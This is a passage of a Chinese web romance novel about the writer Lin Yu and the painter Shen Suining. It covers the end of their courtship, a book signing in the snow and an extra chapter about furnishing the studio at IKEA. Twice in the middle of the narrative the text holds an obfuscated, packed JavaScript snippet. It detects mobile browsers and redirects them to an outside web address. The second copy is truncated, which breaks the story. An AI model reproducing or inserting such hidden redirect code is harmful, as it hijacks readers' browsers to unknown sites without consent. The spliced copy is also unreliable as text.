“你画我,我就来。” 沈遂宁没说话。 但他往前走了一步。 离他很近。 他低下头,在他额头上碰了一下。 很轻。 就一下。 “我画你。”他说。 林昱站在那,被月光照着,额头那一小块还是温的。 他笑了一下。 然后他转身,往地铁站走。 他没回头。 但他知道沈遂宁在看他。 风有点凉,但他不觉得冷。 那天晚上,林昱回到家,坐到电脑前。 他打开文档。 光标在闪。 他看着那个光标,看了几秒。 然后他开始打字。 不是新书。 是别的。 他写: “他第一次见到他的时候,什么都没闻到。他不知道那个人等了他六年。” “后来他能闻到了。他才知道,原来那个人一直在等他。” “等他闻到。等他看见。等他走过来。” “他走过去了。” 他停下来,看着屏幕上的字。 然后他继续写: “那个人问他:你知道我等了多久吗?” “他说:多久?” “那个人说:六年。” “他愣了一下。六年。” “他不知道自己值得被等这么久。” 他想了想,敲下最后一句: “但他想,接下来的六年,他不会再让他等了。” 他盯着那行字,看了很久。 然后他笑了。 他拿起手机,给沈遂宁发消息: “睡了吗?” 对面回得很快: “没。” 他打字: “我在写东西。” “写什么?” 他想了想。 “写一个人等了我六年。” 对面没回。 过了十几秒。 手机亮了。 沈遂宁: “那个人还在等。” 林昱看着那行字,心里动了一下。 他回: “我知道。” “他知道就好。” 他笑了一下。 然后他放下手机,继续写。 窗外的月亮很亮。 他写到很晚。 但他不觉得累。 (第六章完) 7. 第7章 那之后,林昱开始每天都去。 不是“每周”,是“每天”。 早上起来,洗漱,吃早饭,坐四十分钟地铁,站在那扇灰色铁门前。敲门。门开。沈遂宁低头看他。他走进去。 像是一种新的日常。 沈遂宁画画的时候,他就坐在旁边看。有时候写东西,有时候什么都不做,就坐在那里,被阳光照着,闻着那股松木的味道。 他发现自己的新书开始动了。 不是那种“憋出来”的动。是自然而然的,像水流出来一样。 他写的是两个人。一个闻不到,一个闻得到。一个等了很久,一个不知道有人在等。 他把每一章都发给沈遂宁看。 沈遂宁看完,会画一张画给他。 画里的他,坐在阳光里。画里的他,低头打字。画里的他,看着手机笑。 林昱把那些画收在一个文件夹里,夹在速写本最后一页。 那个速写本已经快满了。 三个月后的一天,林昱坐在画室里,看沈遂宁画画。 画的是窗外的梧桐树。秋天了,叶子开始黄。 他看着沈遂宁的侧脸,看了很久。 然后他开口: “沈遂宁。” “嗯?” “你记不记得,你第一次亲我那天下雨了吗?” 沈遂宁的笔停了一下。 他看着画,没转头。 “没下雨。有太阳。” 林昱笑了一下。 “我忘了。” 沈遂宁转过头,看着他。 “你记性不好。” “嗯。” 沈遂宁看了他两秒。 然后他放下笔,走过来,蹲在他面前。 就像第一次那样。 阳光落在他的脸上,把他的眼睛照得很亮。 他看着林昱。 “那你记得什么?” 林昱想了想。 “记得你说等我六年。” “还有呢?” “记得你说我是纸的味道。” “还有呢?” 林昱看着他。 “记得你说喜欢我。” 沈遂宁没说话。 但他伸出手,握住林昱的手。 他的手很大,很暖。 林昱低头看着那只手,看了很久。 然后他抬起头。 “沈遂宁。” “嗯?” “我新书写完了。” 沈遂宁愣了一下。 “写完了?” “嗯。” “什么时候?” “昨晚。” 沈遂宁看着他。 “叫什么?” 林昱想了想。 “叫《他闻见我了》。” 沈遂宁没说话。 但他的手收紧了一点。 就那么一点。 林昱感觉到了。 他笑了一下。 “你怎么不说话?” 沈遂宁看着他,目光很静。 “我在想。” “想什么?” “想我等到了。” 林昱的胸口动了一下。 他看着沈遂宁的眼睛,那里面有什么东西,很深,很亮。 他忽然想起自己写的那句话: “有些人的出现,像一束光。你还没看清光从哪来,就已经被照亮了。” 他凑过去,在他嘴唇上碰了一下。 像是一片梧桐叶子落下来。 沈遂宁看着他。 “你干什么?” 林昱笑了一下。 “让你知道,我也等到了。” 他们坐在那里,阳光落在他们身上,暖的。 窗外的梧桐叶子在飘。 很慢。 像是一幅画。 新书出版的那天,是十二月。 冬天了。 林昱站在签售会的台上,看着台下排队的读者。 人很多。比六年前那场多得多。 他一本一本地签,一晚上没抬头。 签到最后几个的时候,他抬头看了一眼。 然后他愣住了。 队伍里站着一个人。 穿着灰色大衣,个子很高,站在人群里,像一幅画。 沈遂宁。 他排在那里,手里拿着一本书。 林昱看着他,忘了低头。 后面的人催了一下。 他回过神,继续签。 终于轮到沈遂宁了。 他走到台前,低头看着林昱。 林昱抬头看他。 “你怎么来了?” 沈遂宁没说话。 他把书递过来。 林昱接过来,低头看。 是《他闻见我了》。 他翻开扉页,准备签名。 然后他看见了。 扉页上已经有字了。 是沈遂宁的字迹: “我等到了。” 林昱的手指停在那行字上。 他抬起头,看着沈遂宁。 沈遂宁也在看他。 目光很静。 “签吗?”沈遂宁问。 林昱看着他。 “签什么?” 沈遂宁想了想。 “签:我也是。” 林昱笑了一下。 他低下头,在那行字旁边写下: “我也是。” 然后他合上书,递回去。 沈遂宁接过来,看着他。 “结束了给我打电话。” 林昱点头。 沈遂宁转身走了。 林昱看着他的背影,看着他穿过人群,走到后面,站在那里。 他看着那个方向,忘了低头。 后面的人又催了一下。 他回过神,继续签。 签完最后一个的时候,已经快十点了。 他站起来,活动了一下手腕。 工作人员在收拾东西。 他拿起手机,给沈遂宁发消息: “结束了。” 对面回得很快: “出来。” 他走出去。 外面下雪了。 很小。细细的。落在路灯底下,亮亮的。 沈遂宁站在路灯下,穿着那件灰色大衣,手里拿着那本书。 雪花落在他肩上,他也没拍。 林昱走过去,站在他面前。 抬头看他。 “等多久了?” 沈遂宁想了想。 “没多久。” “骗人。” 沈遂宁没说话。 他只是伸出手,把他拉进怀里。 抱着。 雪落在他们身上,凉凉的。 但林昱不觉得冷。 他把脸埋在沈遂宁胸口,闻着那股松木的味道。 “沈遂宁。” “嗯?” “你记不记得,你第一次抱我那天,我下巴上有颜料?” 沈遂宁没说话。 但林昱感觉到他笑了一下。 胸口在动。 “记得。”沈遂宁说。 “擦不掉那个。” “嗯。” “后来怎么掉的?” 沈遂宁想了想。 “自己掉的。” 林昱抬起头,看着他。 “你擦了多久?” 沈遂宁低头看他。 “没数。” 林昱笑了一下。 他又把脸埋回去。 雪还在下。 像是这个世界在画一幅画。 那天晚上,他们一起走回沈遂宁的画室。 雪落在巷子里,落在灰色的铁门上,落在窗外的梧桐树上。 沈遂宁开门,林昱走进去。 画室还是老样子。那把椅子,那个窗户,那张工作台。 但墙上多了一幅画。 很大的一幅。 林昱愣住了。 画上是两个人。 一个坐在阳光里,一个蹲在他面前。他们在看对方。 不是之前那幅。 是新的。 更大。更完整。颜色更多。 阳光从窗户照进来,落在那两个人身上,把他们照得很亮。 底下有一行字: “他闻见他了。他也闻见他了。” 林昱站在那幅画前,看了很久。 沈遂宁走过来,站在他旁边。 “什么时候画的?” “这三个月。” 林昱转过头,看着他。 “你每天画一点?” 沈遂宁点头。 “为什么没告诉我?” 沈遂宁想了想。 “想给你看完整的。” 林昱没说话。 他看着那幅画,看着那两个被阳光照着的人。 他忽然想起第一次来这里的时候。 那时候他什么都闻不到。那时候他不知道沈遂宁在看他。那时候他不知道有一个人在等他。 他转过头,看着沈遂宁。 “沈遂宁。” “嗯?” “你后不后悔?” 沈遂宁愣了一下。 “后悔什么?” “等我。” 沈遂宁看着他,看了很久。 然后他伸出手,托起他的下巴。 就像第一次表白那天一样。 “林昱。” “嗯?” “你知不知道,我画画的时候在想什么?” 林昱摇头。 沈遂宁看着他。 “我在想,我等到了。我没有白等。” 林昱的胸口动了一下。 他看着沈遂宁的眼睛,那里面有什么东西,很深,很暖。 “你画了多久这幅画?” “三个月。” “我等了你多久?” “六个月。” 林昱愣了一下。 “不是六年吗?” 沈遂宁摇头。 “六年前是等。”他说,“六个月前是爱。” 林昱没说话。 他看着沈遂宁,雪落在窗外的梧桐树上,落在玻璃上,一点一点的。 他忽然想哭。 不是难过。 是那种“原来我也可以被这样爱着”的想哭。 他伸出手,抓住沈遂宁的袖子。 就抓着。 没说话。 沈遂宁低头看他。 “怎么了?” 林昱摇头。 沈遂宁等了几秒。 然后他轻轻把他拉进怀里。 抱着。 窗外的雪还在下。 画室里很安静。 只有他们的呼吸声。 过了很久,林昱开口: “沈遂宁。” “嗯?” “我有没有告诉过你,你是什么味道?” 沈遂宁想了想。 “松木。雨后的空气。” 林昱摇头。 “不止。” 沈遂宁低头看他。 “还有什么?” 林昱抬起头,看着他的眼睛。 “家。” 沈遂宁没说话。 但他抱得更紧了一点。 就那么一点。 林昱感觉到了。 他把脸埋回去,闭上眼睛。 他闻着那股味道。 松木。雨后的空气。还有别的,他说不上来。 但他知道那是什么。 那是沈遂宁。 那是他的家。 那天晚上,林昱没走。 他躺在沈遂宁的床上,看着天花板。 沈遂宁躺在他旁边。 很安静。 林昱忽然开口: “沈遂宁。” “嗯?” “你睡了吗?” “没。” 林昱翻了个身,面对着他。 月光从窗帘的缝隙照进来,落在沈遂宁的脸上,把他的轮廓照得很淡。 林昱看着那张脸,看了很久。 然后他说: “我想告诉你一件事。” 沈遂宁睁开眼睛,看着他。 “什么事?” 林昱想了想。 “你记不记得,你说我是纸的味道?” 沈遂宁点头。 “新的纸。什么都没有,但你知道上面马上要写东西。” 林昱笑了一下。 “我现在知道上面要写什么了。” 沈遂宁看着他。 “写什么?” 林昱没说话。 他凑过去,在他嘴唇上碰了一下。 很轻。 就一下。 然后他退回来,看着他的眼睛。 “写你。” 沈遂宁没说话。 但他伸出手,把他拉进怀里。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17301768|198663||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 抱着。 林昱的脸贴在他的胸口,能听见他的心跳。 咚。咚。咚。 很稳。 他闭上眼睛。 窗外的雪还在下。 但他不冷。 第二年春天,林昱的新书得了奖。 颁奖典礼那天,他站在台上,拿着奖杯,看着台下的人群。 然后他看见了沈遂宁。 坐在最后一排,穿着那件灰色卫衣,像一幅画。 林昱笑了一下。 主持人问他要不要说什么。 他想了想。 然后他说: “这本书叫《他闻见我了》。” 他顿了顿。 “写的是一个人等了我六年。” 他看着最后一排那个方向。 “我想说——我也等到了。” 台下有人鼓掌。 他不知道沈遂宁有没有在笑。 但他知道,沈遂宁在看他。 那天晚上回家,他发现画室里多了一幅画。 很小的画,放在工作台上。 画上是两个人,站在路灯下,雪落在他们身上。 底下有一行字: “他等到了。他也等到了。” 林昱站在那幅画前,看了很久。 沈遂宁从后面走过来,抱住他。 “喜欢吗?” 林昱点头。 沈遂宁低头,把脸埋在他的颈窝里。 “林昱。” “嗯?” “我画了你四年。” 林昱愣了一下。 “四年?” “从签售会那天开始。”沈遂宁说,“我就一直在画你。画我记得的样子。画我想象的样子。画我等你的样子。” 他顿了顿。 “现在不用画了。” 林昱没说话。 他看着那幅小画,看着那两个人。 雪落在他们身上。 他们站在路灯下,抱着。 他忽然想起自己写过的一句话: “有些人的出现,像一束光。你还没看清光从哪来,就已经被照亮了。” 他转过身,看着沈遂宁。 沈遂宁也在看他。 月光从窗户照进来,落在他们之间。 林昱伸出手,碰了碰他的脸。 “沈遂宁。” “嗯?” “你知不知道,你是什么味道?” 沈遂宁看着他。 “松木。雨后的空气。” 林昱摇头。 “还有别的。” “什么?” 林昱想了想。 “我写的那本书里,有一句话。” 他看着他的眼睛。 “他说:他闻见他的时候,像是走了很远的路,终于到家了。” 沈遂宁没说话。 但他低下头,吻了他。 很轻。 像是一幅画落下的最后一笔。 窗外的月亮很亮。 画室里很安静。 他们站在那里,抱着。 很久。 后来的事,林昱记不太清了。 他只记得,那年春天很长,阳光很好。 沈遂宁每天都在画画。他每天都在写字。 有时候他们一起坐在窗户边,看窗外的梧桐树发芽。 有时候他们什么都不做,就躺在那张床上,闻着彼此的味道。 他的新书又写了两本。 沈遂宁的画展办了三场。 每一场画展,都有一面墙,挂满了同一个人的画。 那个人坐在阳光里。那个人站在巷子里。那个人低头写字。那个人抬头看他。 那个人是他。 画展的最后一天,有人问沈遂宁: “你画的是谁?” 沈遂宁想了想。 然后他说: “我等了六年的人。” 那个人又问: “现在呢?” 沈遂宁笑了一下。 很轻。 像是不自觉的那种。 “现在,”他说,“他在家等我。” 那天晚上,林昱站在画室里,看着墙上 那幅大画。 那两个人坐在阳光里,在看着对方。 他看了一会儿。 沈遂宁从后面走过来,抱住他。 “看什么?” “看我们。” 沈遂宁低头,把脸埋在他的颈窝里。 “林昱。” “嗯?” “你后不后悔?” 林昱愣了一下。 “后悔什么?” “那天来画室。” 林昱想了想。 然后他转过身,看着他。 “沈遂宁。” “嗯?” “你记不记得,你第一次见我的时候,我是什么样子?” 沈遂宁点头。 “你坐在签售会的台上,低着头签名, 一晚上没抬头。” 林昱笑了一下。 “我那晚要是抬头了,会不会早六年?” 沈遂宁看着他。 “会。” 林昱愣了一下。 “你怎么知道?” 沈遂宁想了想。 “因为你抬头看我的时候,我就知道,是你。” 林昱没说话。 他看着他的眼睛,那里面有什么东西,很深,很亮。 他忽然想起第一次来画室那天。 阳光落在地上。沈遂宁蹲在他面前。他问他:你等到了吗。 那时候他不知道他在等什么。 现在他知道了。 他伸出手,抱住他。 把脸埋在他的胸口。 闻着那股味道。 松木。雨后的空气。还有别的。 那是他的家。 “沈遂宁。” “嗯?” “我有没有告诉过你?” “什么?” 林昱抬起头,看着他的眼睛。 “我闻见你了。” 沈遂宁看着他。 月光落在他们之间,温的。 然后他低下头,吻了他。 很轻。 像是第一次那样。 窗外的梧桐树在风里响。 画室里很安静。 他们站在那里,抱着。 很久。 (正文完结) 8. 番外 林昱发现沈遂宁有一个奇怪的毛病。 他不会买东西。 不是那种“选择困难症”的不会买。是那种——他站在货架前面,盯着两把一模一样的椅子看十分钟,然后转头问林昱:“你觉得哪个好?” 林昱看看左边那把,又看看右边那把。 一模一样。 “有区别吗?”他问。 沈遂宁指着左边那把:“这个螺丝是银色的。” 又指着右边那把:“这个是黑色的。” 林昱又看了看。 确实是。银色的。黑色的。 “所以呢?”林昱问。 沈遂宁想了想:“不知道。” 林昱:“……” 他沉默了两秒,然后拿起银色螺丝的那把,放进购物车。 “就这个。” 沈遂宁看着他,目光里有一点意外。 “你怎么决定的?” 林昱推着车往前走,头也不回。 “因为你看了银色的多两眼。” 沈遂宁愣了一下。 然后他跟上去,走在他旁边。 没说话。 但林昱感觉到他在笑。 那种很轻的,不明显的那种笑。 他们继续逛。 宜家的周末人很多,到处都是推着购物车的情侣,推着孩子的父母,还有拿着尺子量来量去的中年人。 林昱走在货架之间,看着那些样板间。 一个又一个。 客厅。卧室。厨房。儿童房。 每一个都布置得很满,像是真的有人在里面生活。 他忽然想起来,沈遂宁的画室里,除了工作台和那张床,什么都没有。 没有沙发。没有电视。没有那些“生活”的东西。 他转头看沈遂宁。 “你家里是不是缺很多东西?” 沈遂宁想了想。 “缺什么?” 林昱指了指前面的样板间。 “这些。” 沈遂宁看过去,看了几秒。 然后他说:“不知道缺什么。” 林昱没说话。 他推着车往前走,走到沙发区。 他坐在一张灰色的沙发上,试了试。 软。有点太软了。 他又站起来,坐到旁边那张深蓝色的上面。 这个硬一点。 沈遂宁站在他旁边,低头看他。 “你干什么?” 林昱抬头。 “给你挑沙发。” 沈遂宁愣了一下。 “为什么?” 林昱想了想。 “因为你画室里没有。” 沈遂宁看着他,目光很静。 然后他在他旁边坐下来。 也试了试。 “这个太软。”他说。 “我知道。”林昱站起来,又坐到另一张上,“这个呢?” 沈遂宁坐过来。 “这个有点硬。” “这个呢?” “太矮。” “这个?” “颜色不好看。” 林昱试了七八张,最后停在一张深灰色的前面。 他坐上去,晃了晃。 不软不硬。高度刚好。颜色也耐脏。 他抬头看沈遂宁。 沈遂宁站在他面前,低头看他。 目光很轻。 “就这个吧。”沈遂宁说。 林昱点头,站起来,准备记货号。 然后他发现沈遂宁在看他。 那种看,和平时不太一样。 “怎么了?”他问。 沈遂宁摇头。 “没什么。” 但林昱知道有什么。 他没问。 他们继续逛。 床上用品区。 林昱站在一排四件套前面,伸手摸了摸。 纯棉的。磨毛的。天丝的。 沈遂宁站在他旁边,也伸手摸了摸。 “你喜欢哪种?”林昱问。 沈遂宁想了想。 “不知道。” 林昱看着他。 “你睡觉吗?” 沈遂宁愣了一下。 “什么?” “你睡觉的时候,盖什么?” 沈遂宁想了想。 “那床被子。” 林昱:“……” “就一床被子?” “嗯。” “没有床单?没有枕套?” 沈遂宁想了想。 “好像没有。” 林昱沉默了两秒。 然后他拿起一套灰色的纯棉四件套,放进购物车。 又拿了两只枕头。 沈遂宁看着他往车里放东西,没说话。 但林昱感觉到他在看自己。 那种看。 他们继续往前走。 走到厨房用品区的时候,林昱停下来了。 他看着那些锅碗瓢盆,看了很久。 沈遂宁站在他旁边。 “你做饭吗?”沈遂宁问。 林昱摇头。 “不会。” “那你看什么?” 林昱想了想。 “在想。” “想什么?” 林昱指着那些锅。 “你画室里也没有这些。” 沈遂宁没说话。 林昱转过头,看着他。 “你吃饭吗?” 沈遂宁点头。 “吃什么?” “外卖。” 林昱笑了一下。 不是好笑的那种笑。 是那种——他说不上来的笑。 他转回去,看着那些锅。 “我也不会做。”他说,“但我可以学。” 沈遂宁愣了一下。 “学什么?” 林昱指着那只平底锅。 “煎蛋。” 又指着那只小奶锅。 “煮面。” 沈遂宁看着他,目光很静。 过了两秒,他开口。 “你为什么要学?” 林昱想了想。 然后他说:“因为你总吃外卖。” 沈遂宁没说话。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17301769|198663||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 林昱把那只平底锅和小奶锅放进购物车。 然后他推着车往前走。 走了两步,他发现沈遂宁没跟上来。 他回头。 沈遂宁还站在原地,看着他。 林昱愣了一下。 “怎么了?” 沈遂宁摇头。 然后他走过来,走在他旁边。 没说话。 但他的手伸过来,握住了林昱推车的手。 就握着。 林昱低头看了一眼。 那只手很大,很暖。 他没说话。 他们就这样推着车,继续往前走。 走到收银台的时候,购物车已经满了。 沙发。四件套。枕头。锅。碗。筷子。杯子。还有一盏落地灯。 收银员一件一件扫码,报着价格。 林昱站在旁边,等着付钱。 沈遂宁站在他旁边。 “我来。”沈遂宁说。 林昱摇头。 “我来。” 沈遂宁看着他。 “为什么?” 林昱想了想。 “因为是我挑的。” 沈遂宁愣了一下。 然后他笑了一下。 很轻。 像是不自觉的那种。 林昱看着那个笑,愣了一下。 然后他低下头,继续付钱。 但他知道自己的耳朵有点热。 出了宜家,天已经黑了。 他们把东西搬上车,坐在后排,靠着那些纸箱子。 车开动的时候,林昱忽然开口。 “沈遂宁。” “嗯?” “你笑什么?” 沈遂宁想了想。 “不知道。” 林昱转头看他。 “不知道?” 沈遂宁也转头看他。 目光很静。 “就是,”他说,“好像有人帮我挑东西了。” 林昱没说话。 他看着沈遂宁的眼睛,那里面有什么东西,很深,很亮。 然后他转回去,看着车窗外。 路灯一盏一盏地往后跑。 过了很久,他开口。 “沈遂宁。” “嗯?” “以后我帮你挑。” 沈遂宁没说话。 但他的手伸过来,握住了林昱的手。 就那么握着。 车在夜里开着。 窗外的灯光落在他们身上,明明暗暗的。 林昱低头看着那只握着他的手。 他看着那只手,看了很久。 然后他握紧了一点。 就那么一点。 沈遂宁感觉到了。 他没说话。 但他握得更紧了一点。 车往前开着。 夜里很安静。 只有轮胎压在路上的声音。 沙沙的。 像是有什么东西,正在慢慢地落下来。 又像是有什么东西,正在慢慢地长出来。 (全文完结)